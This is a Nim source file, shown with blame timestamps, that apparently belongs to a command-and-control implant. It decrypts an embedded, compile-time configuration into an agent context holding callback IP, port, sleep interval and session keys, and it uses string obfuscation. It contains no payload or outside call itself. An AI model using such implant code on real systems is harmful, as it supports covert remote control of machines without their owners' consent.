2025-08-15 15:42:57 +02:00
|
|
|
import parsetoml, base64, system
|
2025-08-18 22:05:23 +02:00
|
|
|
import ../../common/[types, utils, crypto, serialize]
|
|
|
|
|
|
|
|
|
|
const CONFIGURATION {.strdefine.}: string = ""
|
|
|
|
|
|
|
|
|
|
proc deserializeConfiguration(config: string): AgentCtx =
|
|
|
|
|
|
|
|
|
|
var unpacker = Unpacker.init(config)
|
2025-08-19 20:03:34 +02:00
|
|
|
|
|
|
|
|
var aesKey = unpacker.getByteArray(Key)
|
|
|
|
|
let
|
|
|
|
|
iv = unpacker.getByteArray(Iv)
|
|
|
|
|
authTag = unpacker.getByteArray(AuthenticationTag)
|
|
|
|
|
length = int(unpacker.getUint32())
|
2025-08-18 22:05:23 +02:00
|
|
|
|
2025-08-19 20:03:34 +02:00
|
|
|
# Decrypt profile configuration
|
|
|
|
|
let (decData, gmac) = decrypt(aesKey, iv, unpacker.getBytes(length))
|
|
|
|
|
wipeKey(aesKey)
|
|
|
|
|
|
|
|
|
|
if gmac != authTag:
|
2025-08-26 15:11:43 +02:00
|
|
|
raise newException(CatchableError, protect("Invalid authentication tag."))
|
2025-08-18 22:05:23 +02:00
|
|
|
|
2025-08-19 20:03:34 +02:00
|
|
|
# Parse decrypted profile configuration
|
|
|
|
|
unpacker = Unpacker.init(Bytes.toString(decData))
|
|
|
|
|
|
|
|
|
|
var agentKeyPair = generateKeyPair()
|
2025-08-19 14:34:58 +02:00
|
|
|
var ctx = AgentCtx(
|
|
|
|
|
agentId: generateUUID(),
|
|
|
|
|
listenerId: Uuid.toString(unpacker.getUint32()),
|
|
|
|
|
ip: unpacker.getDataWithLengthPrefix(),
|
|
|
|
|
port: int(unpacker.getUint32()),
|
|
|
|
|
sleep: int(unpacker.getUint32()),
|
|
|
|
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
|
|
|
|
agentPublicKey: agentKeyPair.publicKey,
|
|
|
|
|
profile: parseString(unpacker.getDataWithLengthPrefix())
|
|
|
|
|
)
|
2025-08-18 22:05:23 +02:00
|
|
|
|
2025-08-19 20:03:34 +02:00
|
|
|
wipeKey(agentKeyPair.privateKey)
|
|
|
|
|
|
2025-08-26 15:11:43 +02:00
|
|
|
echo protect("[+] Profile configuration deserialized.")
|
2025-08-18 22:05:23 +02:00
|
|
|
return ctx
|
2025-08-15 15:42:57 +02:00
|
|
|
|
|
|
|
|
proc init*(T: type AgentCtx): AgentCtx =
|
|
|
|
|
|
|
|
|
|
try:
|
2025-08-18 22:05:23 +02:00
|
|
|
when not defined(CONFIGURATION):
|
2025-08-26 15:11:43 +02:00
|
|
|
raise newException(CatchableError, protect("Missing agent configuration."))
|
2025-08-15 15:42:57 +02:00
|
|
|
|
2025-08-18 22:05:23 +02:00
|
|
|
return deserializeConfiguration(CONFIGURATION)
|
2025-08-15 15:42:57 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
echo "[-] " & err.msg
|
|
|
|
|
return nil
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|